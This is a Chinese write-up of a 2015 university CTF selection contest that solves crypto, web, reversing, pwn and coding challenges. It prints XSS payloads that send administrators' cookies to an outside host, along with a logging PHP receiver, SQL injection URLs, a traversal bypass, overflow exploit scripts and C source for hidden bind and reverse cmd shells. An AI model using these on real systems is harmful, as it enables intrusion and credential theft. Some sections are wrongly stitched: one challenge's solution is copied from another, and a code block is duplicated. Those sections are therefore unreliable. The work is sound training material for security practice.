网络空间安全实验班选拔赛WRITE-UP

writeup Th1nk Bigtang 2015-06-22

1# FirstBlood 96/680 20

> 修改口号为FirstBl00d，抢第一个flag~~~

右键查看源码,发现提供了修改口号的接口

```
<div id="myInfo" class="reveal-modal" style="display: none;">
    <h2>我的信息</h2>
    <blockquote>
      <p>队伍名称：测试用户</p>
      <p>口号：FirstBl00d</p>
      <!-- index.php/user/updatevoice?voice= -->
      <p>分数： 300</p>
      <p>已找到的FLAG： 3</p>
    </blockquote>
    <a class="close-reveal-modal">&#215;</a>
</div>
```

访问 http://ctf.xidian.edu.cn/index.php/user/updatevoice?voice=FirstBl00d 即可

2# 十六进制字符串 137/655 20

> 这是一个十六进制的字符串，解开后就知道flag在哪里了
> 666c61675f69735f686572657b3265346231303234613763386
> 335343237313963637613064666333663432302e7068707d

```
"666c61675f69735f686572657b3265346231303234613763386335343237313963637613064666333663432302e7068707d".decode(
"hex")
'flag_is_here{2e4b1024a7c8c542719c67a0dfc3f420.php}'
```

访问 http://ctf.xidian.edu.cn:8888/crypto/hex/2e4b1024a7c8c542719c67a0dfc3f420.php

3# AES解密 111/317 25

> 这是一个AES加密的字符串，密钥已经给你了。解开后就知道flag在哪里了
> Ciphertext:U2FsdGVkX19k/4EAL3YRk/vhS1M1lynAj+M+VNj2l7l3Li2Mlr7
> /OQboOf5akTBdbDTLq4sVwsBx4U7XGgj0ZgUtJyR0zOB7o7gb6b9a4ao=
> Key:bigtang

高级加密标准AES在线工具
flag_is_here{64316e20808e3596d7ea71a6ece5c6b3.php}

4# caesar 82/156 25

> mshn_pz_olyl{432842233j8m1il4028432151l1h57ml.wow}

CAESAR Shift Code
flag_is_here{432842233c8f1be4028432151e1a57fe.php}

5# DES解密 77/149 25

> Ciphertext:683b32b9f570252208694310 27e4946b044a900c5d3fb01e8
> 6c68f835ff58f02202eb5b42e083f2bce4768274a592720f5337ebe36b70e7e
> key:xdsecsec

DES ECB hex
DES解密
flag is in 5371c64364510f6aad8519743f185c75.php

6# Morse code 167/302 25

> 请解开该密文，得到明文（明文中的字母全为大写）：
> －－ －－－ .－. … . －.－. －－－－－ －.. .
> 将得到的结果提交:

摩斯密码
MORSEC0DE

7# 一段被加密了的js 62/117 25

> http://ctf.xidian.edu.cn:8888/crypto/js/js.php

Chrome浏览器，打开开发者工具，运行可得
“flag_is_here{c88e4f8865b23a793bab1e3aa2f1153b.php}”

8# 仿射密码1 32/45 25

> 密文：yfsfnhtzlsrftclhwrffonw
> 在该仿射中，a=15，b=23
> 将得到的明文提交:

仿射密码规则为：c = (m * a + b) % 26
要得到明文 则为：m = (c - b *a^(-1)) % 26
写个小脚本解决问题。

```
#coding=utf-8
#求最大公约数
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
#求模逆元素
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m
#欧拉函数
def eular(n):
    count = 0
    for x in xrange(0,n):
        g,x,y = egcd(x,n)
        if g == 1:
            count = count + 1
    return count
# 仿射密码
def Affine_cipher(ciphertext,a,b):
    plantext = ''
    # 求逆元
    fa = modinv(a,26)
    for x in ciphertext:
        if x == ' ':
            plantext += ' '
            continue
        plantext += chr(ord('a')+((ord(x)-b)-ord('a'))*fa%26)
    return plantext
```

然后调用得到key
解得，hereisyourkeyjustkeepit

9# RSA算法基础 32/45 30

> 在一次RSA密钥对生成中，假设p=473398607161，q=4511491，e=17
> 求解出d
> 将得到的d提交：

RSA算法过程
fn = (p-1) * (q-1)
e * d = 1 mode fn
只要求解出e关于fn的模反元素即可。
d = 125631357777427553

10# 你抓住了么 21/121 35

> http://ctf.xidian.edu.cn:8888/web/js/index.php

index.html中有段js控制跳转，关闭javascript，访问index.html
flag:6d06d2ce7c25c4c2cbcc09c03ef9ab37.php

11# web1 33/48 40

> web第1题

随便输入一个密码，提交，查看chrome的network，并没有发包，说明是js检测。
查看源代码，发现check.js

```
function Check()
{
t =
"118,97,114,32,77,121,80,97,115,115,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,
110,116,66,121,73,100,40,39,73,110,99,97,110,116,97,116,105,111,110,39,41,46,118,97,108,117,101,59,32,10,9,118
,97,114,32,102,105,108,101,95,49,61,34,55,56,49,53,54,57,54,101,99,98,102,49,99,57,54,34,59,10,9,105,102,40,34
,34,43,112,97,114,115,101,73,110,116,40,77,121,80,97,115,115,41,32,61,61,32,77,121,80,97,115,115,41,32,10,9,123
,10,9,32,32,32,32,32,32,32,105,102,40,112,97,114,115,101,73,110,116,40,77,121,80,97,115,115,41,43,55,57,56,55
,56,57,61,61,49,48,48,48,48,48,48,41,32,10,9,9,123,32,10,9,9,9,118,97,114,32,102,105,108,101,95,50,61,34,101,54
,56,57,52,98,55,55,57,52,53,54,100,51,51,48,34,59,9,10,9,9,9,118,97,114,32,102,105,108,101,95,51,61,34,101,54
,52,102,101,53,34,59,10,9,9,9,118,97,114,32,102,105,108,101,95,51,95,116,109,112,61,102,105,108,101,95,51,46,1
15,112,108,105,116,40,34,34,41,46,114,101,118,101,114,115,101,40,41,46,106,111,105,110,40,34,34,41,59,10,9,9,9
,118,97,114,32,102,105,108,101,95,50,61,40,102,105,108,101,95,51,95,116,109,112,46,99,111,110,99,97,116,40,34,
52,56,55,56,101,49,98,34,41,41,46,99,111,110,99,97,116,40,34,97,97,57,52,57,53,102,97,50,49,50,53,50,100,52,53
,57,98,50,34,41,59,10,9,9,9,118,97,114,32,103,101,116,95,102,108,97,103,95,104,101,114,101,32,61,32,102,105,10
8,101,95,49,32,43,32,102,105,108,101,95,50,32,43,32,39,46,112,104,112,39,59,10,9,9,9,97,108,101,114,116,40,34,
20320,25214,21040,102,108,97,103,20102,20040,65311,34,41,59,10,9,9,125,10,9,9,101,108,115,101,10,9,9,123,32,9,
10,9,9,9,97,108,101,114,116,40,39,19981,22909,24847,24605,65292,20320,22833,36133,20102,39,41,59,32,9,9,9,9,9,
9,10,9,9,9,100,111,99,117,109,101,110,116,46,71,101,116,95,75,101,121,46,73,110,99,97,110,116,97,116,105,111,1
10,46,118,97,108,117,101,32,61,32,39,39,59,32,10,9,9,125,32,10,9,32,32,125,10,9,101,108,115,101,10,9,123,10,9,
9,32,97,108,101,114,116,40,39,19981,22909,24847,24605,20320,22833,36133,20102,39,41,59,32,100,111,99,117,109,1
01,110,116,46,71,101,116,95,75,101,121,46,73,110,99,97,110,116,97,116,105,111,110,46,118,97,108,117,101,32,61,
32,39,39,59,10,9,32,125";
t=eval("String.fromCharCode("+t+")");
eval(t);
}
```

直接把t放到console下执行下。
得到

```
var file_1="7815696ecbf1c96";
var file_2="e6894b779456d330";
var file_3="e64fe5";
var file_3_tmp=file_3.split("").reverse().join("");
var file_2=(file_3_tmp.concat("4878e1b")).concat("aa9495fa21252d459b2");
var get_flag_here = file_1 + file_2 + '.php';
```

最终get_flag_here为7815696ecbf1c965ef46e4878e1baa9495fa21252d459b2.php

12# 仿射密码2 8/8 40

> 密文：ajmqz qi zg ipbgzcob pjmz qpi komeoip lqze m alomz jmzh kmzpi zg kmijqzc mzh pjo eoy ygw kmzp qi abynpgggg
> 同样是仿射密码，但是这次不告诉你a和b。
> 将得到的key提交：

古典密码攻击
仿射密码的密钥长度只有12*26 = 312而已。
强行穷举下即可。

```
m  = pow(c,d,n)
m = hex(m)
```

因为明文一般是一个ascii字符串，加密时通常将字符串转换为十六进制。所以解密时应该将过程反向。
得到十六进制字符串：746573744d6521
解开得到明文：testMe!

13# RSA算法基础2 1/4 45

> 在一次RSA密钥对生成中，假设p=473398607161，q=4511491，e=17
> 某个明文加密后的结果为：727835100378484285
> 将得到的明文提交：

p,q,e与之前那题一样，降低了难度。
d为125631357777427553
解密函数：
m = c^d % n

```
m  = pow(c,d,n)
m = hex(m)
```

因为明文一般是一个ascii字符串，加密时通常将字符串转换为十六进制。所以解密时应该将过程反向。
得到十六进制字符串：746573744d6521
解开得到明文：testMe!

14# code1 36/58 50

> 使用C或C++编写
> 完成一个移位密码的算法，可以指定移动任意位数。
> 函数原型参考：
> void encrypt(char[] string,int n)
> –string 要被移位的明文
> –n 移位长度
> 如：
> 输入：(‘abcd’,1) –>输出：bcde
> 输入：(‘Abcdz,a333’,1)–>输出：Bcdea,b333
> 请将源代码以及编译出来的文件发至th1nk@xdsec.org

```
// bigtang
#include <stdio.h>
#include <string.h>

int main()
{
    char enc[] = "1bb2e9807bece13cccf247adbcc6a194";
    char text[64];
    int i;
    int flag = 0;

    printf("SO EASY\n");
    printf("input:");
    scanf("%s",text);
    if (strlen(text) != 32)
    {
        printf("Wrong~~~!\n");
        return 1;
    }

    if (strncmp(text,enc,32) == 0)
    {
        printf("flag is CTF{%s}\n",text);
    }
    else
    {
        printf("Try again~!\n");
    }

    return 0;
}
```

ida反编译main函数
CTF{1bb2e9807bece13cccf247adbcc6a194}

16# xss1 1/15

> FLAG就在管理员的cookie中
> 输入点在：http://ctf.xidian.edu.cn:8888/web/xss/xss1/xss.php?name=test
> 输出点：

```
// bigtang
#include <stdio.h>
#include <string.h>

int main()
{
    char enc[] = "1bb2e9807bece13cccf247adbcc6a194";
    char text[64];
    int i;
    int flag = 0;

    printf("SO EASY\n");
    printf("input:");
    scanf("%s",text);
    if (strlen(text) != 32)
    {
        printf("Wrong~~~!\n");
        return 1;
    }

    if (strncmp(text,enc,32) == 0)
    {
        printf("flag is CTF{%s}\n",text);
    }
    else
    {
        printf("Try again~!\n");
    }

    return 0;
}
```

ida反编译main函数
CTF{1bb2e9807bece13cccf247adbcc6a194}

16# xss1 1/15

> FLAG就在管理员的cookie中

输入点在：http://ctf.xidian.edu.cn:8888/web/xss/xss1/xss.php?name=test
输出点：

```
<script>
    var myname = 'Kangkang';
    //var myname='test';
</script>
```

直接输入在javascript里面了。只是被注释了。
参考换行符复仇记
最终payload：

> http://ctf.xidian.edu.cn:8888/web/xss/xss1/xss.php?name=test%0awindow.location.href=%27http://th1nk.info/1.php?c=%27%2bdocument.cookie;//

1.php内容：

```
<?php
file_put_contents('1.txt',$_GET['c']);
 ?>
```

几秒后，访问1.txt，即可得到cookie内容。
flag = flag is in 7815696ecbf1c96e6894b779456d330e.php
很奇怪这道题只有一个人搞定

17# 失控的base64 14/22 50

> 一段失控的base64
> 出题人也不知道是什么鬼
> 提示：本题flag格式为：CTF{可见字符}

这是一个字符串，被编码了random次数，连出题人也不知道编码了几次。
根据提示，写个小脚本解码即可。

```
#coding=utf-8
import base64
a = open('filename.txt','r')
content = a.read()
while True:
    if '{' not in content:
        content = base64.b64decode(content)
    else :
        break
print content
```

18# 替换密码 14/16 50

> 密文：vqdlvdql do p upom pej pqmybpmxj azflmynzpb oywsxz tf Xjrde Ywoye. Dm ape oywsx odblwx oqtomdmqmdye adlkxzo yumxe uyqej de exrolplxzo, deawqjden lqiiwxo wdhx azflmyvqdlo (de rkdak ryzj tyqejpzdxo pzx lzxoxzsxj) pej lpmzdomyazpmo (derkd akryz jtyqe jpzdx opzxe m). Fyq ape pwoy oxx mkx yewdex kxwl.Pej mkx hxf mkpm fyq rpem do oqtomdmqmdye_adlkxz.
> 将得到的key提交：

给了足够长的文本，可以用来做字母频率分析了。
古典密码攻击
有一个在线的字母频率分析网站：
quipqiup
最终明文：quipqiup is a fast and automated cryptogram solver by Edwin Olson. It can solve simple substitution ciphers often found in newspapers, including puzzles like cryptoquips (in which word boundaries are preserved) and patristocrats (inwhi chwor dboun darie saren t). You can also see the online help.And the key that you want is substitution_cipher.
key:substitution_cipher

19# 正则匹配 28/34 50

> 正则模式为：^[th1nk]{1,2}\s+..+?\\\S{1}bigoutang{9}\d{3,4}$
> 请给出一个符合该模式的字符串

一个符合要求的字符串：tt ..\abigoutangggggggggg1234

20# code4 12/15 55

> 请写出一个算法，实现生成任意输入字符串全部大小写的字典集合
> 如输入xo，输出：xo,Xo,xO,XO
> 如输入php,输出：php,phP,pHp,pHP,Php,PhP,PHp,PHP
> 如输入x1o，输出：x1o,X1o,x1O,X1O
> 语言不限，将代码并编译结果发送至th1nk@xdsec.org

```php
<?PHP

    error_reporting(0);

    $str = 'test123';
    //这是假设的输入字符串
    $str = strtoupper($str);
    //先全部转换为大写
    $len = strlen($str);
    //获取字符串长度
    $tmp_arr = array();


    //遍历转换后的字符串，字母用二维数组存大写、小写，数字则稍不同
    for($i=0;$i<$len;$i++){
        if(is_numeric($str[$i])){
            $tmp_arr[$i][2] = $str[$i];
            continue;
        }
        $tmp_arr[$i][1] = $str[$i];
        $tmp_arr[$i][0] = strtolower($str[$i]);
    }
    //print_r($tmp_arr);



    $all_conut = pow(2, $len)-1; //总可能性数
    //利用二进制的思想，遍历每种大小写的情况，同时排除数字大小写重复的情况
    for($i=0;$i<=$all_conut;$i++){
        $tmp = decbin($i);
        $zero = str_repeat('0',$len - strlen($tmp));
        $bin = $zero.$tmp;

        //echo $bin;
        //exit();

        $result = array();
        for($b=0;$b<$len;$b++){
            $ifup = $bin[$b];
            //echo '<br />up or low===>'.$ifup.' <br />';

            if($tmp_arr[$b][2]){
                $result[] = $tmp_arr[$b][2];
            }else{

                if($ifup){
                    $result[] = $tmp_arr[$b][1];
                }else{
                    $result[] = $tmp_arr[$b][0];
                }

            }
        }

        //这是获取的其中一种情况的结果，循环输出所有情况
        $result = implode($result, '');
        echo $result;
        echo ',';

        //建议在浏览器上查看运行结果 :)

    }



?>
```

21# Sqli1 9/21 60

> 求注入啊求注入

http://ctf.xidian.edu.cn:8888/basic/sqli1.php?id=1
http://ctf.xidian.edu.cn:8888/basic/sqli1.php?id=2
http://ctf.xidian.edu.cn:8888/basic/sqli1.php?id=2-1
存在注入。
http://ctf.xidian.edu.cn:8888/basic/sqli1.php?id=-1%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables
得到表名flaaag
http://ctf.xidian.edu.cn:8888/basic/sqli1.php?id=-1%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x666c61616167
字段名flag_her3
http://ctf.xidian.edu.cn:8888/basic/sqli1.php?id=-1%20union%20select%201,flag_her3%20from%20flaaag
flag_is_in_0cc175b9c0f1b6a831c399e269772661.php

22# 汇编指令 5/13 60

> 写出下面汇编指令对应的机器码，以十六进制形式给出（31c0...）

http://shell-storm.org/shellcode/files/shellcode-806.php
31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05

23# 猜猜看 23/42 60

> Guessing!
> 猜一猜下面的密码，如果猜对了，你将获得key!

http://ctf.xidian.edu.cn:8888/web/test.txt
内容是test
查看源代码，发现白盒审计。

```
<?php
      $filename = 'x';
      extract($_GET);
      if (!empty($attempt))
     {
        $combination = trim(file_get_contents($filename));
        if ($attempt === $combination)
    {
          echo "<p>文件内容:" ." $combination!?</p>";
          require('flag.php');
          /*FLAG.PHP:
          $flag = 'xxxxxx';
          */
          echo "<p>Congratulation.Key is:" ." $flag</p>";
        }
    else
    {
          echo "<p>Incorrect!</p>";
        }
      }

 ?>
```

典型的变量覆盖漏洞。
http://ctf.xidian.edu.cn:8888/web/guess.php?attempt=test&filename=test.txt
得到flag

24# pwn0 2/5 80

> 溢出第0题
> nc ctf.xidian.edu.cn 23333

```
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

void welcome()
{
    write(STDOUT_FILENO,"Welcome to XDSEC's login system!\n",34);
    write(STDOUT_FILENO,"Please input your name and I will check it!\n",44);
}

void get_flag()
{
        int fd,ret;
        char buffer[40];
        fd = open("flag.txt",O_RDONLY);
        ret = read(fd,buffer,40);
        write(STDOUT_FILENO,buffer,strlen(buffer));

}

void vuln()
{
    int auth = 0;
        char name[64];
        char text[] = "bigtang";

        write(STDOUT_FILENO,"Show me :",9);
        read(STDIN_FILENO,name,100);

        if (strncmp(name,text,7)==0)
        {
                if (auth == 0x61626364)
                {
                        get_flag();
                }
        }
        else
        {
            write(STDOUT_FILENO,"Who are you?\n",13);
        }
}

int main()
{
    welcome();
    vuln();
    return 0;
}
```

临接变量覆盖，exp如下

```
rom zio import *

host = "ctf.xidian.edu.cn"
port = 23333
io = zio((host,port))
io.read_until("Show me :")
io.writeline("bigtang"+'1'*69 + "dcba")
io.interact()
```

key is 91c96cafbe59b36feca8bf48fe4df709

25# 跪求口算 9/28 80

> 两秒内你能口算出来么?
> 请在2秒内算出答案并提交:(568-73)*88+5119

发现算数题目的形式不会变，但是答案数字两秒一遍。写代码解决问题。

```
#coding=utf-8
import requests
import re
s = requests.Session()
cookies = {'username':'神秘糖','userid':'340'}
result = s.get('http://ctf.xidian.edu.cn:8888/basic/catch.php',cookies=cookies)
text = result.text
pattern = re.compile('\((\d{3})-(\d{2})\)\*(\d{2})\+(\d{4})')
result = pattern.findall(text)[0]
print result
final = (int(result[0])-int(result[1]))*int(result[2])+int(result[3])
payloads = {'result':str(final)}
y = s.post('http://ctf.xidian.edu.cn:8888/basic/catch.php',cookies=cookies,data=payloads)
print y.text
```

Your flag is: da33fb6dafb6c38eabecdf7155aa90e4用时：0秒

26# code2 4/5 100

> 利用socket编程，编写一个请求程序，请求www.baidu.com，并获取返回数据包，将html代码部分保存成baidu.html。
> 注意：只允许使用C语言，不允许使用C++等语言以及第三方库（lib/dll）
> windows平台下运行
> 将编写好的程序并源码,还有执行成功的截图，发送到th1nk@xdsec.org，等待审核

```
#include <stdio.h>
#include <winsock.h>
#include <string.h>
#pragma comment(lib, "ws2_32.lib")

void geturl(char *url)
{
    WSADATA WSAData= {0};
    SOCKET        sockfd;
    struct sockaddr_in        addr;
    struct hostent        *pURL;
    char        myurl[BUFSIZ];
    char        *pHost = 0, *pGET = 0;
    char        host[BUFSIZ], GET[BUFSIZ];
    char        header[BUFSIZ] = "";
    static char        text[BUFSIZ];
    int i;
    WSAStartup(MAKEWORD(2,2), &WSAData);
    strcpy(myurl, url);
    for (pHost = myurl; *pHost != '/' && *pHost != '\0'; ++pHost);
    if ( (int)(pHost - myurl) == strlen(myurl) )
        strcpy(GET, "/");
    else
        strcpy(GET, pHost);
    *pHost = '\0';
    strcpy(host, myurl);
    printf("%s\n%s\n", host, GET);
    sockfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    pURL = gethostbyname(host);
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = *((unsigned long*)pURL->h_addr);
    addr.sin_port = htons(80);
    strcat(header, "GET ");
    strcat(header, GET);
    strcat(header, " HTTP/1.1\r\n");
    strcat(header, "HOST: ");
    strcat(header, host);
    strcat(header, "\r\nConnection: Close\r\n\r\n");
    connect(sockfd,(SOCKADDR *)&addr,sizeof(addr));

    send(sockfd, header, strlen(header), 0);

    while ( recv(sockfd, text, BUFSIZ, 0) > 0)
    {
        printf("%s", text);
        strnset(text, '\0', BUFSIZ);
    }

    closesocket(sockfd);

    WSACleanup();
}

int main()
{
    freopen("baidu.html","w",stdout);
    char url[]="www.baidu.com";
    geturl(url);
    return 0;
}
```

27# re1 6/42 100

```
#include <stdio.h>
#include <string.h>

int main()
{
    char enc[] =
{0x37,0x39,0x33,0x35,0x62,0x64,0x3f,0x64,0x6b,0x3f,0x33,0x68,0x3d,0x38,0x39,0x38,0x75,0x25,0x76,0x27,0x76,0x74
,0x26,0x76,0x7e,0x7d,0x2e,0x7d,0x78,0x2e,0x2c,0x7b};
    char text[64];
    int i;
    int flag = 0;

    printf("JUST REVERSE ME!\n");
    printf("input:");
    scanf("%s",text);
    if (strlen(text) != 32)
    {
        printf("Wrong~~~!");
        return 1;
    }

    for (i=0;i<32;i++)
    {
        if ((text[i] ^ i) == enc[i])
        {
            flag ++;
        }
        else
        {
            printf("Wrong~~~!");
            return 1;
        }
    }

    if (flag == 32)
    {
        printf("flag is CTF{%s}",text);
    }
    return 0;
}
```

异或加密，没啥说的，看代码吧

28# Web.py1 7/10 100

过滤可绕过

```
def GET(self, filepath):
        if filepath.find("flag")>-1: #禁止flag
            return "Goodbye Hackers"
        #防止跨目录读取
        filepath = filepath.replace("../","") #过滤../
        try:
            with open("./uploads/%s" % filepath, "rb") as f:
                content = f.read()
            return content
        except:
            return web.notfound("Sorry, the file you were looking for was not found.")
```

exp

```
## bigtang
from requests import get

def get_flag():
        url = "http://ctf.xidian.edu.cn:8080/uploads/"
        payload = url + ".../...//.../...//fla../g.txt"
        flag = get(payload).content
        return flag

if __name__ == "__main__":
        flag = get_flag()
        print "[*] flag :" + flag
```

29# xss2 1/5 120

> FLAG就在管理员的cookie中
> http://ctf.xidian.edu.cn:8888/web/xss/xss2/swf.swf
> 一个swf，考核flash xss。
> 因为出题人太懒了，直接就拿了emlog的一个swf（至今还存在，没补）
> 下载swf，反编译得到actionscript源码。
> 代码太长了，不贴。

```
this.movieName = root.loaderInfo.parameters.movieName;
......
public static function UploadStart(_arg1:string, _arg2:object):void{ ExternalInterface.call(_arg1,
EscapeMessage(_arg2)); }
#调用了ExternalInterface.call
this.uploadStart_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadStart");
#带入了用户传入的movieName
```

flash xss
demo:
http://ctf.xidian.edu.cn:8888/web/xss/xss2/swf.swf?
movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28%27test%27%29}}//
payload:
http://ctf.xidian.edu.cn:8888/web/xss/xss2/swf.swf?
movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;window.location.href=%27http://th1nk.info/1.php?
c=%27%2bdocument.cookie}}//
几秒后访问1.txt得到flag

30# pwn1 1/3 150

栈溢出，怕时间不够，读取文件的shellcode也写在里面了。只需覆盖返回地址为读文件函数的地址。

```
## bigtang ##
from zio import *

host = "ctf.xidian.edu.cn"
port = 6666
io = zio((host,port))
io.read_until("Please tell me your lucky number:")
io.writeline("100")

read_flag = 0x40067e
io.read_until("Please say something about your story:")
io.writeline("1"*0x58+l64(read_flag))
io.interact()
```

31# re2 5/21 150

看代码

```
int gogogo(char username[],char password[])
{
    if (strncmp(password,"e38567689dcc9d2d",16)!=0)
    {
        return 1;
    }
    if (username[0] != password[17])
    {
        return 1;
    }
    if ((username[4] != password[31]) || (username[4] != password[29]) || (username[4] != password[19]))
    {
        return 1;
    }
    if ((password[18] != '0') || (password[27] != '0'))
    {
        return 1;
    }
    if ((password[20] != '4') || (password[25] != '4') || (password[28] != '4')  || (password[30] != '4'))
    {
        return 1;
    }
    if (password[16] != '7')
    {
        return 1;
    }
    if (password[21] != '3')
    {
        return 1;
    }
    if ((password[22] != '1') || (password[26] != '1'))
    {
        return 1;
    }
    if (password[23] != '6')
    {
        return 1;
    }
    if (password[24] != '5')
    {
        return 1;
    }

    return 0;
}
```

用od好好调试
CTF{e38567689dcc9d2d7b0a431654104a4a}

32# 黑客与数据包 1/26 150

这是一个一句话木马的流量分析。
首先大致看出被黑的网站为：news.xiyou.edu.cn
th1nk.info为黑客的中转端
设定filter为
ip.dst == 104.131.146.217 && http
一个一个数据包看下来。
对关键内容base64解码，大致知道黑客做的事如下：
执行命令：tar -zcvf - web|openssl des3 -salt -k Donttryt0breakm3 | dd of=flag.des3;
将flag.txt用tar打包，
将该数据包des加密，密码为Donttryt0breakm3
然后下载该压缩包。
因为下载的流量已经有了，直接fllow tcp stream 提取出文件。
利用刚才得到的密码，des解密，得到tar包
解压缩tar包，得到flag

33# code3 0/0 170

> 使用C/C++编写一个cmdshell，功能：需要有被控端、主控端，被控端能执行命令，主控端通过某种方式控制被控端，发送要执行的命令并得到被控端的执行结果，显示出来。
> windows平台下运行
> 将编写好的程序并源码,还有执行成功的截图，发送到th1nk@xdsec.org，等待审核

正向无管道重定向 server

```
#include "stdio.h"
#include "winsock2.h"
#pragma comment(lib,"WS2_32")
void main(int argc, char *argv[])
{
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2, 2), &wsaData); //winsock初始化
    sockaddr_in sockaddr;
    sockaddr.sin_family =AF_INET;   //地址族
    sockaddr.sin_addr.S_un.S_addr=inet_addr("0.0.0.0");   //需要绑定到本地的哪个IP地址
    sockaddr.sin_port   = htons(atoi(argv[1])); //设置端口
    SOCKET sock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);//创建套接字,sock()不能用
    SOCKET clientsocket;
    char cmdpath[255];
    GetEnvironmentVariable("COMSPEC",cmdpath,sizeof(cmdpath)); //获取cmd.exe的路径
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    SOCKADDR clientAddr;
    if(bind(sock,(SOCKADDR*)&sockaddr,sizeof(SOCKADDR)))
    {
        printf("绑定端口失败:%s\n",WSAGetLastError());
        exit(1);
    }//启动绑定
    if(listen(sock,1))
    {
        printf("监听失败:%s\n",WSAGetLastError());
        exit(1);

    }//启动监听，1用户,不懂多线程
    printf("Listing on %s\n",argv[1]);
    while(1)                                //循环，断开后可再次连接
    {
        int size=sizeof(sockaddr);
        int flag;
        clientsocket=accept(sock, &clientAddr,&size);           //阻塞，直到有新用户连接
        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        si.wShowWindow = SW_HIDE;
        si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)clientsocket;
        //创建匿名管道
        flag=CreateProcess(NULL,cmdpath,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);
        WaitForSingleObject(pi.hProcess,INFINITE);
        if(flag){
        //如果管道创建成果就关闭进程句柄
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
    }
        closesocket(clientsocket);
    }
    closesocket(sock);    //切断server的socket
    WSACleanup();         //卸载socket

}
```

正向双管道 server

```
#include <winsock2.h>
#pragma comment(lib,"Ws2_32")
#include <stdio.h>
int main()
{
    WSADATA wsa;
    SOCKET listenFD;
    char Buff[1024];
    int ret;
    WSAStartup(MAKEWORD(2,2),&wsa);
    listenFD=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    struct sockaddr_in server;
    server.sin_family=AF_INET;
    server.sin_port=htons(999);
    server.sin_addr.s_addr=ADDR_ANY;
    ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
    ret=listen(listenFD,2);
    int iAddrSize=sizeof(server);
    SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
    SECURITY_ATTRIBUTES sa;
    sa.nLength=12;
    sa.lpSecurityDescriptor=0;
    sa.bInheritHandle=true;
    HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
    ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
    ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);

        STARTUPINFO si;
    ZeroMemory(&si,sizeof(si));
    si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow=SW_HIDE;
    si.hStdInput=hReadPipe2;
    si.hStdOutput=si.hStdError=hWritePipe1;
    char cmdLine[]="cmd.exe";
    PROCESS_INFORMATION ProcessInformation;
    ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);

    unsigned long lBytesRead;
    while(1)
    {
        ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
        if(lBytesRead)
        {
            ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
            if(!ret)
                break;
            if(ret<=0)
                break;
        }
        else
        {
            lBytesRead=recv(clientFD,Buff,1024,0);
            if(lBytesRead<=0)
                break;
            ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
            if(!ret)
                break;
        }



    }
    return 0;


}
```

反向cmdshell server

```

```

```
#include<winsock2.h>
#include<stdio.h>

#pragma comment(lib,"ws2_32.lib")

int main(int argc,char **argv)
{
char *messages = "======================== Connect successful !========================\n";
WSADATA WSAData;
SOCKET sock;        //创建套接字
SOCKADDR_IN addr_in;
char buf[1024];   //buf作为socket接收数据的缓冲区
memset(buf,0,1024);   //清空缓冲区

   WSAStartup(MAKEWORD(2,2),&WSAData); //初始化ws2


   addr_in.sin_family=AF_INET;
   addr_in.sin_port=htons(1234);  //反向连接的远端主机端口
   addr_in.sin_addr.S_un.S_addr=inet_addr("192.168.30.128");  //远端IP

   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

   while (WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
//连接客户主机
   {
     Sleep(5000);        //连接失败，停顿5s，再试
     continue;
   }

   send(sock,messages,strlen(messages),0);  //发送success信息

    char buffer[2048] = {0};//管道输出的数据

    SECURITY_ATTRIBUTES sa;//创建匿名管道用于取得cmd的命令输出
    HANDLE hRead,hWrite;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;

    CreatePipe(&hRead,&hWrite,&sa,0); //创建管道

    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    si.cb = sizeof(STARTUPINFO);
    GetStartupInfo(&si); //STARTUPINFO 结构
    si.hStdError = hWrite;
    si.hStdOutput = hWrite;
    si.wShowWindow = SW_HIDE;  //隐藏窗口
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

    for(char cmdline[270];;memset(cmdline,0,sizeof(cmdline))){

    GetSystemDirectory(cmdline,MAX_PATH+1); //获得系统路径
    strcat(cmdline,"//cmd.exe /c"); //路径+/cmd.exe


    int   len=recv(sock,buf,1024,NULL);
    if(len==SOCKET_ERROR) exit(0); //如果客户端断开连接，则自动退出程序

    strncat(cmdline,buf,strlen(buf)); //把命令参数复制到cmdline

